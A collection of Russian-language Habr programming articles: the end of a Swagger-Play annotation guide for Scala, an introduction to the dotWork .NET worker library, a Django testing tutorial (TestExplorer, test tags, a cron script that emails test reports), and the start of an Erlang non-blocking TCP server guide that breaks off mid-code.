где Obj — это другой ADT, состоящий из case объектов:
```
//сериализуется в permission.drill
case object DrillObj extends Obj
//сериализуется permission.team
case object TeamObj extends Obj
```
Чтобы Swagger смог понять эту модель, ему надо вместо реального класса (или трейта) предоставить специально созданный для этой цели класс с нужными полями:
```
@ApiModel(value = "Permission")
case class FakePermission(
@ApiModelProperty(
name = "$type",
allowableValues = "ru.myproject.shared.Read, ru.myproject.shared.Read"
)
t: String,
@ApiModelProperty(allowableValues = "permission.drill, permission.team"
obj: String
)
```
Теперь мы должны указывать в аннотации FakePermission вместо Permission
```
@ApiImplicitParams(Array(
new ApiImplicitParam(
value = "Допуск",
required = true,
dataTypeClass = classOf[FakePermission],
paramType = "body"
)
))
```
Коллекции
---------
Последнее, на что хотел обратить внимание читателей. Как я уже говорил, Swagger не понимает обобщенные типы. Однако работать с коллекциями он умеет.
Так, аннотация `@`ApiOperation имеет параметр responseContainer, которому можно передать значение «List».
Что касается входящих параметров, указание
```
dataType = "List[ru.myproject.shared.roles.FakePermission]"
```
внутри аннотаций, поддерживающих этот атрибут, приводит к желаемым результатам. Хотя, если указать scala.collection.List — не работает.
Вывод
-----
В моем проекте при помощи аннотаций Swagger-Core удалось полностью описать Rest-API и все модели данных, включая обобщенные типы и алгебраические типы данных. На мой взгляд использования модуля Swagger-Play является оптимальным для автоматический генерации описания API. | https://habr.com/ru/post/503958/ | null | ru | null |
# Worker Services в .NET
Написание [воркер-сервисов](https://docs.microsoft.com/en-us/dotnet/core/extensions/workers) на .NET часто сопряжено с написанием большого количества повторяющегося boilerplate-кода. Однажды мне это надоело и я попытался упростить этот процесс, перенеся часть бойлерплейта в отдельную библиотеку, которой и посвящена эта статья.
Знакомство с библиотекой
------------------------
Библиотека называется dotWork, у нее есть репозиторий на [GitHub](https://github.com/alexalok/dotWork), а сборки выкладываются на [NuGet](https://www.nuget.org/packages/dotWork/). По большей части библиотека представляет собой обертку над [BackgroundService](https://docs.microsoft.com/en-us/dotnet/api/microsoft.extensions.hosting.backgroundservice), встроенным в .NET решением для написания воркеров.
### Что конкретно упрощает dotWork?
Если вкратце, dotWork упрощает следующие аспекты разработки воркеров:
* регистрацию работ (works);
* регистрацию соответствующих работам настроек;
* написание кода для повторения итераций.
В моей практике именно эти три момента требуют практически шаблонного кода и тем не менее не имеют возможности стандартизации "из коробки".
Установка
---------
Для установки достаточно поставить [NuGet](https://www.nuget.org/packages/dotWork/) пакет:
```
dotnet add package dotWork
```
Использование
-------------
Для использования библиотеки нам нужно создать один или несколько классов-работ (works), описывающих, что должен делать работник (worker). В контексте .NET работником выступает само приложение, либо хост, если приложение содержит несколько хостов.
### Создание класса-работы
Для создания работы добавим в приложение новый класс, унаследованный от `WorkBase`:
```
public class ExampleWork : WorkBase { }
```
Теперь добавим метод, описывающий, из чего состоит работа. Работник будет вызывать его с определенной периодичностью, поэтому этот метод можно назвать **итерацией**:
```
public class ExampleWork : WorkBase
{
public async Task ExecuteIteration(CancellationToken ct)
{
await Task.Delay(TimeSpan.FromSeconds(1), ct); // симулируем работу
Console.WriteLine("Work iteration finished!");
}
}
```
Важно! Чтобы dotWork нашла метод итерации, необходимо, чтобы он соответствовал следующим правилам:
* имел название `ExecuteIteration`;
* был помечен модификатором `public`;
* возвращал `void` или `Task`.
Наша работа уже готова к использованию, но пока не делает ничего полезного. Чтобы сделать ее более полезной, мы можем внедрить в нее сервисы, то есть зависимости.
### Внедрение зависимостей
dotWork позволяет внедрять зависимости двумя способами. Выбор конкретного способа зависит от того, как зависимость зарегистрирована в контейнере.
#### Singleton-зависимости
Внедрение синглтонов происходит привычным способом, то есть через конструктор работы. Каждая итерация, таким образом, будет использовать один и тот же экземпляр:
```
public class ExampleWork : WorkBase
{
readonly SingletonService \_singletonService;
public ExampleWork(SingletonService singletonService)
{
\_singletonService = singletonService;
}
...
}
```
#### Scoped и Transient зависимости
Часто возникает необходимость внедрить не-singleton зависимости в работу. Типичный пример - база данных. Поскольку работа живет до остановки хоста, то внедрение в нее коннектора базы данных может привести к тому, что соединение с БД будет открыто с самого начала и до самого конца работы программы. Это может быть нежелательно, например, если работа короткая и выполняется раз в длительный промежуток времени.
В таком случае, зависимость можно внедрить напрямую в метод итерации:
```
public async Task ExecuteIteration(ScopedService scopedService)
{
await Task.Delay(TimeSpan.FromSeconds(1), ct);
Console.WriteLine("Work iteration finished!");
}
```
Сервисы, внедренные таким образом, будут удалены после окончания итерации. dotWork создает новый scope на каждую итерацию.
Помимо сервисов, в метод итерации можно также внедрить `CancellationToken`. Он сработает, когда хост начнет остановку
Наконец, наша работа может делать что-то полезное. Однако, запустив приложение, можно обнаружить, что работа не выполняется. Это нормально, ведь она еще не зарегистрирована в контейнере. Пора ее зарегистрировать.
### Регистрация работ
dotWork позволяет зарегистрировать все работы сразу, регистрировать каждую работу отдельно, либо комбинировать оба подхода.
#### Регистрация одной работы
Зарегистрировать одну отдельную работу можно, добавив следующий вызов в метод `ConfigureServices` HostBuilder-a:
```
.ConfigureServices(services =>
{
services.AddWork(); // <- наш метод
})
```
Здесь первым дженерик-параметром является тип работы, а вторым - тип настроек работы. Важно, чтобы тип настроек, указанный при регистрации, совпадал с тем, который указан при наследовании работы от класса `WorkBase`.
На данном этапе наша работа полностью готова к запуску. Однако, если запустить ее, обнаружится, что итерация выполняется только один раз. Это нормально - настройка работы по-умолчанию (`DefaultWorkOptions`) устанавливает бесконечную задержку между итерациями. Мы можем изменить это, переопределив стандартную настройку:
```
services.AddWork(configure: opt =>
{
opt.DelayBetweenIterationsInSeconds = 10;
});
```
Теперь следующая итерация работы начнется через 10 секунд **после окончания предыдущей.**
#### Автоматическая регистрация работ
Вместо того, чтобы регистрировать каждую работу по-отдельности, мы можем зарегистрировать все работы сразу. Очевидно, что при этом у нас нет возможности настроить каждую работу, поэтому этот способ регистрации требует обязательного указания **раздела конфигурации** с настроками работ. Этот раздел должен представлять из себя словарь, где ключами являются названия классов работ. Легче всего продемонстрировать это на примере. Предcтавим, что у нас есть приложение с двумя работами:
* `ExampleWork1`
* `ExampleWork2`
Файл `appSettings.json`, в таком случае, может выглядеть следующим образом:
```
{
"Works": {
"ExampleWork1": {
"IsEnabled": false,
"DelayBetweenIterationsInSeconds": 86400 // 1 day
},
"ExampleWork2": {
"DelayBetweenIterationsInSeconds": 3600 // 1 hour
}
}
}
```
И мы можем зарегистрировать все наши работы одной строчкой кода:
```
.ConfigureServices((ctx, services) =>
{
services.AddWorks(ctx.Configuration.GetSection("Works"));
});
```
Мы также можем переопределить регистрацию любой отдельно взятой работы, вызвав метод явной регистрации после автоматической:
```
.ConfigureServices((ctx, services) =>
{
var cfg = ctx.Configuration;
services.AddWorks(cfg.GetSection("Works"));
services.AddWork(configure: opt =>
{
opt.DelayBetweenIterationsInSeconds = 86400 \* 2; // 2 days
});
})
```
**Важно!** Автоматическая регистрация работает только для работ, определенных в той же сборке, что и код, вызвавший метод регистрации. Работы из других сборок придется регистрировать вручную.
### Изменение класса настроек
Работа необязательно должна использовать `DefaultWorkOptions` в качестве настроек. Можно создать свой класс, унаследовав его от `DefaultWorkOptions` или даже напрямую от интерфейса `IWorkOptions`:
```
public class MyWorkOptions : DefaultWorkOptions
{
public string MyProp { get; set; }
}
public class Work_With_DefaultWorkOptions2 : WorkBase
{
public async Task ExecuteIteration()
{
Console.WriteLine("MyProp value is: " + Options.MyProp);
}
}
```
Заключение
----------
Надеюсь, dotWork поможет сэкономить время при написании приложений-воркеров. Если после начала использования библиотеки Вы обнаружите, что в ней отсутствует какая-то важная ожидаемая функциональность, пожалуйста, откройте issue в [репозитории GitHub](https://github.com/alexalok/dotWork). | https://habr.com/ru/post/587518/ | null | ru | null |
# Как тестировать сайт на Django. Часть 3. Отправка результата на почту, TestExplorer и декоратор tag
Тесты написаны, тимлид рад, а что дальше-то делать? А дальше – автоматизация и отправка отчёта по тестам. Именно об этом мы поговорим в данной статье, попутно затронув полезный инструмент TestExplorer и декоратор tag.
Прошлые части статьи
--------------------
Раз уж вы зашли на эту статью, думаю, тесты вам уже приходилось писать. Но, если хотите узнать о них больше, предлагаю посетить [первую](https://habr.com/ru/company/pvs-studio/blog/648717/) и [вторую](https://habr.com/ru/company/pvs-studio/blog/652951/) части. В них я на примере кода нашего [сайта](https://pvs-studio.com/ru/), рассказывают о тестировании таких веб-систем.
TestExplorer
------------
[TestExplorer](https://marketplace.visualstudio.com/items?itemName=hbenl.vscode-test-explorer) — это расширение, позволяющее взаимодействовать с тестами не через консоль, а напрямую в вашей IDE. Можно сказать, что это GUI для прогона тестов.
TestExplorer встроен в PyCharm. Про его использование в этом редакторе можно почитать [тут](https://www.jetbrains.com/help/pycharm/viewing-and-exploring-test-results.html). VS Code, напротив, требует отдельной установки и настройки данного расширения. Рассмотрим, как это можно сделать.
### Настраиваем TestExplorer для Django в VS Code
#### Установка
Скачиваем расширение [Python Test Explorer for Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=LittleFoxTeam.vscode-python-test-adapter). Вместе с ним автоматически должно установиться ещё одно — [Test Explorer UI](https://marketplace.visualstudio.com/items?itemName=hbenl.vscode-test-explorer). Поставьте его вручную, если этого не произошло.
#### Настройка. Способ 1
Настроить TestExplorer для работы с Django можно двумя способами. Начнём с первого. Он больше подходит для тестов конкретных приложений (а не всего проекта), либо для тестирования с помощью *unittest*.
Создадим обычный Django-проект *my\_project* с приложением *my\_app*. Открываем файл \_\_*init\_\_.py* в директории *my\_app* и добавляем в него следующий код:
```
from os import environ
from django import setup
environ.setdefault(
'DJANGO_SETTINGS_MODULE', 'my_project.settings'
)
setup()
```
TestExplorer берёт из нашего проекта файлы с тестами. Но где взять для них настройки, он не знает. Поэтому мы создаём переменную окружения *DJANGO\_SETTINGS\_MODULE* и с помощью метода [*setup*](https://docs.djangoproject.com/en/4.0/ref/applications/) передаём её в TestExplorer.
Далее нам нужно определиться с тестовым фреймворком. Обычно это либо *pytest*, либо *unittest*. О разнице между ними можно почитать [тут](https://habr.com/ru/company/yandex/blog/517266/). *unittest* встроен в Python, поэтому устанавливать его нам не придётся. Для инсталляции *pytest* вводим эту команду в консоли:
```
pip install -U pytest
```
Теперь нам нужно «собрать» тесты. Открываем Command palette (Ctrl + Shift + P), вводим «Python: Configure Tests» и жмём Enter.
Выбираем нужный фреймворк и затем директорию с тестами — *my\_app*. Если вы выбрали *unittest*, то вам нужно указать паттерн, по которому будут искаться тесты. В нашем случае это «test\_*.*py»*.*
#### Настройка. Способ 2
У Python TestExplorer есть специальный пакет [pytest-django](https://pytest-django.readthedocs.io/en/latest/tutorial.html). С его помощью можно легко настроить работу TestExplorer через *pytest* для всего проекта, а не отдельного приложения. Сначала установим его:
```
pip install pytest-django
```
Далее создадим в нашем проекте файл *pytest.ini* с таким кодом:
```
[pytest]
DJANGO_SETTINGS_MODULE = my_project.settings
python_files = test_.py
```
Мы указываем, какой фреймворк использовать, где брать настройки проекта и по какому шаблону искать тесты. Теперь остаётся выполнить «сборку» тестов, как в первом способе с помощью «Python: Configure Tests».
#### Запуск тестов
Теперь, когда всё готово, начнём работать с тестами. Слева на панели Activity Bar жмём на значок колбы.
Откроется панель «Testing». В верхней её части отображается вся иерархия тестов проекта. В нижней — все файлы с тестами. Если вы написали все тесты из [первой статьи](https://habr.com/ru/company/pvs-studio/blog/648717/), то панель «Testing» будет выглядеть так:
Наводим мышку на фразу «TEST EXPLORER» в любой из частей панели и видим справа блок с кнопками. Жмём кнопку «Run Tests» (треугольник), и все наши тесты начинают прогоняться. При успешном выполнении иерархия тестов будет выглядеть так:
#### Обзор возможностей TestExplorer
Обе панели TestExplorer позволяют:
1. Запускать все тесты в обычном режиме;
2. Запускать конкретный тест в отладочном режиме;
3. Сбрасывать результаты тестов;
4. Сортировать тесты;
5. Переходить к коду конкретного теста;
6. Получать время прогона тестов.
С помощью верхней панели можно:
1. Искать конкретные тесты, применяя фильтры;
2. Отображать output выполнения тестов;
3. Отображать тесты в виде иерархии, либо в виде списка;
4. Прогонять только упавшие тесты;
5. Прогонять все тесты в режиме отладки;
6. Скрыть тест из панели;
7. Узнать, сколько тестов выполнено успешно (в процентах либо в количестве тестов).
Нижняя панель не такая функциональная, но она позволяет включить автопрогон конкретных тестовых файлов. Т.е. выбранные тесты будут автоматически выполняться при изменении любого кода проекта.
Советую поиграться с этими панелями, чтобы лучше понять их возможности.
Теперь зайдём на любой тест. Над названием метода появилась небольшая панель ссылок. С её помощью можно запускать и дебажить тест, не уходя с его кода. Также слева от номера строки можно заметить галочку. Это статус выполнения теста. В данном случае — успешный.
При нажатии ЛКМ на галочку тест прогонится ещё раз. Если нажать ПКМ, откроется расширенный список действий, которые можно выполнить над тестом.
### Запуск TestExplorer в контейнере Docker
Сейчас довольно много проектов используют Docker и Docker Compose. Если не все зависимости из *requirements.txt* установлены на машине, то просто так запустить TestExplorer для такого проекта не получится. С этой проблемой я лично столкнулся при написании тестов для нашего сайта. Давайте разберём, как её решить.
Чтобы было, над чем ставить опыты, создадим обычный Django-проект с названием *proj* и добавим в него приложение *app*. Из приложения удаляем файл *tests.py* и добавляем папку *tests*. В ней создаём файл *test\_views.py* с максимально простым тестом:
```
from django.test import TestCase
class ViewsTests(TestCase):
def test_true(self):
self.assertTrue(True)
```
Добавим файл *pytest.ini* в корень проекта.
```
[pytest]
DJANGO_SETTINGS_MODULE = proj.settings
python_files = test_*.py
```
Соберём все тесты через Command Palette, как было показано выше. И запустим TestExplorer. Результат будет таким:
Тест работает. Теперь представим, что у нас большой проект с множеством зависимостей. Сымитируем их одной библиотекой — [*faust*](https://faust.readthedocs.io/en/latest/). На её месте может быть любая другая, не установленная у вас на машине. Для имитации добавим в *settings.py* проекта данную строку:
```
import faust
```
Теперь при запуске сервера мы получаем ошибку *ModuleNotFoundError*, что вполне логично. TestExplorer тоже говорит о проблеме и выдаёт *ImportErorr*:
Поскольку библиотека *faust* — имитация множества библиотек, устанавливать её на локальную машину будет проблематично. Поэтому воспользуемся услугами Docker Compose. Для этого добавим в корень проекта 3 файла.
*requirements.txt*:
```
Django>=3.0,<4.0
psycopg2>=2.8
faust>=1.10.4
```
*Dockerfile*:
```
FROM python:3
ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
WORKDIR /code
COPY requirements.txt /code/
RUN pip install -r requirements.txt
COPY . /code/
```
*docker-compose.yml*:
```
version: "3"
services:
web:
build: .
command: python manage.py runserver 0.0.0.0:8000
volumes:
- .:/code
ports:
- "8000:8000"
```
Запускаем контейнер:
```
docker-compose up
```
TestExplorer по-прежнему не работает, поскольку он запускается локально, а не через контейнер. А значит, использует только те зависимости, которые установлены на нашу машину. Чтобы заставить TestExplorer работать, нужно запустить его внутри контейнера. Для этого сначала надо к нему подключиться. VS Code для этого предлагает специальное расширение Docker. После его установки слева на панели вы увидите соответствующую иконку:
Жмём на неё и видим все запущенные контейнеры.
Жмём на название нашего контейнера и выбираем «Attach Visual Studio Code». Таким образом мы подключимся к контейнеру с помощью VS Code.
Чтобы увидеть содержимое контейнера, нужно открыть папку *code*. Именно в ней оно и хранится (мы указали это в *Dockerfile*). Для открытия папки используем команду Ctrl K + Ctrl O.
Для дальнейшей работы, возможно, придётся установить расширение Python прямо в контейнер. Затем нужно выбрать версию его интерпретатора в Command Palette. Лучше выбирать самую свежую.
Установим *pytest-django* в контейнер:
```
pip install pytest-django
```
И выполним сбор тестов с помощью флага *collect-only*:
```
python -m pytest --collect-only
```
Запускаем тесты и убеждаемся, что всё работает.
Запуск конкретных тестов
------------------------
Допустим, вы нашли 404-ю ошибку на сайте и хотите узнать, есть ли ещё такие страницы. Тест на статус-код поможет это проверить. Но вы понимаете, что запускать все тесты ради одного — долго и неудобно. И как тогда быть? Конечно, можно воспользоваться TestExplorer, но, допустим, вам нужен консольный запуск тестов. Тогда можно закомментировать ненужные тесты или повесить на них [skip](https://docs.python.org/3/library/unittest.html?highlight=skip#unittest.skip). Но лучше воспользоваться декоратором [tag](https://docs.djangoproject.com/en/4.0/topics/testing/tools/#tagging-tests). В него передаётся один или несколько идентификаторов, по которым можно обратиться к конкретному тесту.
```
@tag('идентификатор 1', ['идентификатор 2'], [...])
```
Возьмём наши тесты для пользователя-тестировщика из [первой статьи](https://habr.com/ru/company/pvs-studio/blog/648717/) и добавим к ним теги.
```
from django.test import tag
@tag('status_code')
def test_status_code(self):
# ...
@tag('links', 'links_and_redirects')
def test_links(self):
# ...
@tag('redirects', 'links_and_redirects')
def test_redirects(self):
# ...
```
Чтобы указать тег при запуске тестов, надо добавить конструкцию *--tag=<тег>* после основной команды.
```
python manage.py test --tag=<тег>
```
Теперь немного поиграемся.
Запуск только тестов на статус-код:
```
python manage.py test --tag=status_code
```
Запуск только тестов на ссылки:
```
python manage.py test --tag=links
```
Запуск только тестов на ссылки и редиректы (вариант 1):
```
python manage.py test --tag=links_and_redirects
```
Запуск только тестов на ссылки и редиректы (вариант 2):
```
python manage.py test --tag=links --tag=redirects
```
Сейчас мы вызываем конкретный тест или конкретную группу тестов. Но что если мы хотим запустить, наоборот, все тесты, кроме некоторых? Например, кроме тестов на редиректы. Команда *--exclude-tag* поможет нам это сделать.
```
python manage.py test --exclude-tag=redirects
```
Отправка результата выполнения тестов на почту
----------------------------------------------
Каждый раз запускать тесты вручную — не самый лучший вариант. Гораздо удобнее, если тесты будут запускаться автоматически. А ещё лучше, чтобы результат их выполнения приходил нам на почту. Как это сделать, мы и разберём далее.
Самый простой способ автоматизации тестов — использование крона. Напишем скрипт, который будет выполнять тесты и отправлять их результат на почту.
### Полный код скрипта
```
from smtplib import SMTP
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from subprocess import STDOUT, PIPE, Popen
from decouple import config
from emoji import emojize
class TestLauncher:
"""Класс запуска тестов"""
__EMAILS = ('ваша почта',)
__COMMAND = '/usr/bin/python3 manage.py test --noinput'
__REPORT_SUBJECT = 'Результаты прогона тестов'
__SUCCESS_STATUS = emojize(
":check_mark_button: Тесты выполнены успешно :check_mark_button:" \
"\n:man_dancing_medium-dark_skin_tone: Пляшем" \
":woman_dancing_light_skin_tone:\n"
)
__FAILURE_STATUS = emojize(
":cross_mark: Тесты упали :cross_mark:\n" \
"Полный печалити :weary_cat:\n"
)
def __init__(self):
self.__process = Popen(
self.__COMMAND.split(), stdout=PIPE, stderr=STDOUT
)
self.__output = iter(self.__process.stdout.readline, b'')
self.__description = self.__get_description()
self.__process.communicate()
self.__status_code = self.__process.returncode
def __is_successful(self) -> bool:
"""Если код запуска тестов - 0, тесты выполнены успешно"""
return self.__status_code == 0
def __get_description(self) -> str:
"""Описание выполнения тестов, взятое из output"""
return ''.join(line.decode() + '\n' for line in self.__output)
def send_report(self) -> None:
"""С помощью mailgun отправляет отчёт на указанные почты"""
smtp_object = SMTP('smtp.eu.mailgun.org', 587)
smtp_object.starttls()
smtp_object.login(
config('EMAIL_HOST_USER'), config('EMAIL_HOST_PASSWORD')
)
smtp_object.sendmail(
config('TESTS_REPORT_SENDER_ADDRESS'),
self.__EMAILS,
self.__report.as_string()
)
smtp_object.quit()
@property
def __status(self) -> str:
"""Статус выполнения тестов"""
return (
self.__SUCCESS_STATUS
if self.__is_successful()
else self.__FAILURE_STATUS
)
@property
def __body(self) -> str:
"""Полное содержимое отчёта о выполнении тестов"""
body = f'{self.__status}
{self.__description}'.replace('\n', '
')
return MIMEText(body, 'html')
@property
def __report(self) -> MIMEMultipart:
"""Отчёт о выполнении тестов"""
report = MIMEMultipart()
report['Subject'] = self.__REPORT_SUBJECT
report.attach(self.__body)
return report
if __name__ == '__main__':
test_launcher = TestLauncher()
test_launcher.send_report()
```
Рассмотрим код детально.
### Импорты
Для отправки сообщений на почту мы используем класс *SMTP* встроенной библиотеки *smtplib*.
```
from smtplib import SMTP
```
Отчёт о выполнении тестов имеет MIME-тип multipart, а его содержимое — MIME-тип text. Их мы задаём с помощью классов *MIMEMultipart* и *MIMEText*.
```
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
```
Класс *Popen* используется для выполнения программы в отдельном процессе. В нашем случае он запускает тесты и выдаёт их результат. *STDOUT* и *PIPE* передаются ему в качестве аргументов (об этом позже).
```
from subprocess import STDOUT, PIPE, Popen
```
Переменные окружения прописаны в файле *.env*. Для их получения используем функцию *config*.
```
from decouple import config
```
Чтобы немного разукрасить тестовый отчёт, добавим в него эмоджи (почему бы и нет) с помощью функции *emojize*.
```
from emoji import emojize
```
### Поля класса TestLauncher
Все нужные методы и данные хранятся в одном классе — *TestLauncher*. Опишем его поля.
Кортеж с почтами, на которые будет выполняться отправка отчёта:
```
__EMAILS = ('ваша почта',)
```
Команда, запускающая наши тесты:
```
__COMMAND = '/usr/bin/python3 manage.py test --noinput'
```
Если после предыдущего тестирования база не удалилась, флаг *noinput* скажет сделать это без запроса на разрешение. Путь к Python у вас может быть другим. Чтобы узнать его, введите следующую команду в консоли:
```
which python3
```
Тема отправляемого на почту сообщения:
```
__REPORT_SUBJECT = 'Результаты прогона тестов'
```
Статусы выполнения тестов:
```
__SUCCESS_STATUS = emojize(
":check_mark_button: Тесты выполнены успешно :check_mark_button:" \
"\n:man_dancing_medium-dark_skin_tone: Пляшем" \
":woman_dancing_light_skin_tone:\n"
)
```
```
__FAILURE_STATUS = emojize(
":cross_mark: Тесты упали :cross_mark:\n" \
"Полный печалити :weary_cat:\n"
)
```
Они будут отображаться в теле сообщения. Чтобы немного их разукрасить, мы добавляем несколько эмоджи, используя функцию *emojize*.
### Метод \_\_init\_\_
Переходим к методам. Начнём с \_\_*init\_\_*. Его действия следующие:
1. Создаёт процесс, выполняющий запуск тестов. Первым аргументом он принимает нашу команду, разделённую на список. Чтобы в дальнейшем мы могли использовать результат выполнения тестов, указываем значение *PIPE* для *stdout*. А чтобы все ошибки шли в *stdout*, указываем для *stderr* значение *STDOUT*;
2. Получает результат выполнения тестов из *stdout*;
3. С помощью метода *\_\_get\_description* (будет рассмотрен позже) сохраняет описание выполнения тестов в переменную;
4. Ждёт завершения процесса и записывает код его выполнения в атрибут *returncode*. Если он равен 0, значит всё прошло хорошо, и тесты выполнены успешно;
5. Заносит код выполнения процесса в переменную *\_\_status\_code*.
```
def __init__(self):
self.__process = Popen(
self.__COMMAND.split(), stdout=PIPE, stderr=STDOUT
) # (1)
self.__output = iter(self.__process.stdout.readline, b'') # (2)
self.__description = self.__get_description() # (3)
self.__process.communicate() # (4)
self.__status_code = self.__process.returncode # (5)
```
### Метод \_\_is\_successful
Как говорилось выше, если статус-код процесса — 0, значит, тесты выполнились успешно. Это проверяет метод *\_\_is\_successful*.
```
def __is_successful(self) -> bool:
"""Если код запуска тестов - 0, тесты выполнены успешно"""
return self.__status_code == 0
```
### Метод \_\_get\_description
Следующий метод выдаёт описание выполнения тестов. Он берёт его из *output* процесса, созданного в \_\_*init\_\_*. Каждая строка описания декодируется из байтовой в обычную, затем к ней добавляется «\n». После все строки объединяются через *join*.
```
def __get_description(self) -> str:
"""Описание выполнения тестов, взятое из output"""
return ''.join(line.decode() + '\n' for line in self.__output)
```
### Метод send\_report
Теперь рассмотрим метод *send\_report*. Вот его действия:
1. Подключается к серверу mailgun и создаёт SMTP объект;
2. Указывает, что соединение должно шифроваться с помощью TLS;
3. Авторизуется под конкретным пользователем;
4. Отправляет отчёт о тестах на указанные почты;
5. Закрывает соединение.
```
def send_report(self) -> None:
"""С помощью mailgun отправляет отчёт на указанные почты"""
smtp_object = SMTP('smtp.eu.mailgun.org', 587) # (1)
smtp_object.starttls() # (2)
smtp_object.login( # (3)
config('EMAIL_HOST_USER'), config('EMAIL_HOST_PASSWORD')
)
smtp_object.sendmail( # (4)
config('TESTS_REPORT_SENDER_ADDRESS'),
self.__EMAILS,
self.__report.as_string()
)
smtp_object.quit() # (5)
```
### Свойство \_\_status
Перейдём к свойствам класса *TestLauncher*. Первое — *\_\_status*. Оно в зависимости от значения статус-кода процесса возвращает текст, который будет добавлен в отчёт.
```
@property
def __status(self) -> str:
"""Статус выполнения тестов"""
return (
self.__SUCCESS_STATUS
if self.__is_successful()
else self.__FAILURE_STATUS
)
```
### Свойство \_\_body
*\_\_body* возвращает полный текст для отчёта с MIME-типом text.
```
@property
def __body(self) -> str:
"""Полное содержимое отчёта о выполнении тестов"""
body = f'{self.__status}
{self.__description}'.replace('\n', '
')
return MIMEText(body, 'html')
```
### Свойство \_\_report
Последнее свойство — *\_\_report*. Как бы это ни было удивительно, но оно возвращает отчёт о выполнении тестов с MIME-типом multipart. Сначала указывается тема, после с помощью метода *attach* добавляется основное содержимое.
```
@property
def __report(self) -> MIMEMultipart:
"""Отчёт о выполнении тестов"""
report = MIMEMultipart()
report['Subject'] = self.__REPORT_SUBJECT
report.attach(self.__body)
return report
```
### Отправка сообщения
Заключительная часть этого кода — создание объекта класса *TestLauncher* и отправка отчёта.
```
if __name__ == '__main__':
test_launcher = TestLauncher()
test_launcher.send_report()
```
Запуск скрипта
--------------
В кроне пропишем следующую команду:
```
@daily /usr/bin/python3 send_tests_report.py
```
Она ежедневно в 00:00 (для Timezone – UTC) будет выполнять созданный нами скрипт.
При его успешном выполнении на почту придёт такое сообщение:
При фейле сообщение будет таким:
Заключение
----------
Тестирование кода – это хорошо, но не стоит забывать про безопасность. С этой точки зрения интерес может представлять методология статического анализа кода для выявления потенциальных уязвимостей в back-end части. Вот несколько статей, которые познакомят вас с этой темой:
1. [Почему моё приложение при открытии SVG-файла отправляет сетевые запросы?](https://habr.com/ru/company/pvs-studio/blog/652255/)
2. [XSS: атака и защита с точки зрения C# программирования.](https://habr.com/ru/company/pvs-studio/blog/574446/)
3. [OWASP, уязвимости и taint анализ в PVS-Studio C#. Смешать, но не взбалтывать.](https://habr.com/ru/company/pvs-studio/blog/560470/)
Надеюсь, эта статья была вам полезна. Для фидбека или критики пишите в комментарии, либо в [мой инстаграм](https://www.instagram.com/stepanov.programmer/). Спасибо за внимание и до скорых встреч) | https://habr.com/ru/post/653933/ | null | ru | null |
# Неблокирующий TCP сервер без использования undocumented features
#### Введение
В замечательной статье с trapexit «Building a Non-blocking TCP server using OTP principles» рассказывается, как построить неблокирующий TCP сервер используя принципы [OTP](http://en.wikipedia.org/wiki/Open_Telecom_Platform). Думаю, каждый, кто начинал изучать elrlang рано или поздно сталкивался с этой статьей. Для построения неблокирующего TCP сервера в указанной выше статье используется недокументированный функционал из модуля prim\_inet.
Не буду филосовствовать хорошо или плохо использовать undocumented features, в некоторых «костыльных» решениях это действительно нужно, в продакшене я бы предпочел использовать проверенные средства. На заметку, даже в самой статье автор предупреждает: "*Examining prim\_inet module reveals an interesting fact that the actual call to inet driver to accept a client socket is asynchronous. While this is a non-documented property, which means that the OTP team is free to change this implementation, we will exploit this functionality in the construction of our server [1].*"
*Под неблокирующим сервером мы подразумеваем, что слушающий процесс и FSM не должны делать каких-либо блокирующих вызовов и быстро реагировать на входящие сообщения (например, изменения в конфигурации, перезапуск и т.д.), не вызывая таймауты [2].*
По поводу вырезки выше: проблемы могут возникнуть (со слушающим процессом), в том случае, если он несет дополнительную функциональную нагрузку (например содержит какие-либо дополнительные пользовательские API, которые нужно «дёргать» в процессе работы), FSM по архитектурным соображениям вообще не должен содержать блокирующих вызовов. Поэтому, если единственная функция слушателя — слушать, то нет ничего страшного, что его поток будет заблокирован ожиданием соединения, в том случае, если потребуется перезапустить данный элемент системы, он будет принудительно остановлен супервизором, по заранее установленному таймауту и затем запущен вновь (если не прав поправьте). Проблемы могут возникнуть при горячем обновлении кода (автор не проверял с какими граблями можно в данном случае столкнуться, кто пробовал поделитесь опытом).
Поставим задачу реализовать неблокирующий TCP сервер только документированными методами.
#### Структура сервера
Первое, что приходит в голову по поставленной задачи — это реализовать ожидание соединения в отдельном процессе. Таким образом структуру сервера можно представить следующим образом.
Рисунок 1
1. application\_master:main\_loop/2
2. application\_master:loop\_it/4
Когда запускается приложение создается процесс application\_master, в логической структуре — это один процесс, но на физическом уровне создается два процесса. Application master — это лидер группы всех процессов в приложении.
3. Супервизор нашего TCP сервера (supervisor)
4. Слушатель (gen\_server), поражающий процесс-слушатель (простой процесс)
5. Супервизор клиентских процессов (supervisor)
6. Процесс-слушатель (простой процесс)
7. Клиентские процессы (gen\_fsm)
#### Исходный код
Думаю, смысла нет приводить исходный код для всех частей системы, остановимся лишь на модуле tcp\_listener и процессе который он запускает.
```
-module(tcp_listener).
-behaviour(gen_server).
-export([start_link/1]).
-export([init/1, handle_call/3, handle_cast/2, handle_info/2,
terminate/2, code_change/3]).
-export([accept_func/1]).
-define(SERVER, ?MODULE).
1. -define(LOGIC_MODULE, tcp_fsm).
2. -record(state, {
listener, %% Listening socket
module %% FSM handling module
}).
start_link(Port) ->
gen_server:start_link({local, ?SERVER}, ?MODULE, [Port], []).
init([Port]) ->
Options = [{packet, raw}, {active, once}, {reuseaddr, true}],
case gen_tcp:listen(Port, Options) of
{ok, LSocket} ->
%% Create first accepting process
3. spawn_link(?MODULE, accept_func, [LSocket]),
{ok, #state{listener = LSocket, module = ?LOGIC_MODULE}};
{error, Reason} ->
error_logger:error_msg("Error: ~p~n", [Reason]), {stop, Reason}
end.
handle_call(_Request, _From, State) ->
Reply = ok,
{reply, Reply, State}.
handle_cast(_Msg, State) ->
{noreply, State}.
handle_info(_Info, State) ->
{noreply, State}.
terminate(_Reason, #state{listener = LSocket} = _State) ->
gen_tcp:close(LSocket),
ok.
code_change(_OldVsn, State, _Extra) ->
{ok, State}.
accept_func(LSocket) ->
4. {ok, Socket} = gen_tcp:accept(LSocket),
error_logger:info_msg("Accept connection: ~p.\n", [Socket]),
5. {ok, Pid} = tcp_client_sup:start_child(),
6. ok = gen_tcp:controlling_process(Socket, Pid),
7. tcp_fsm:set_socket(Pid, Socket),
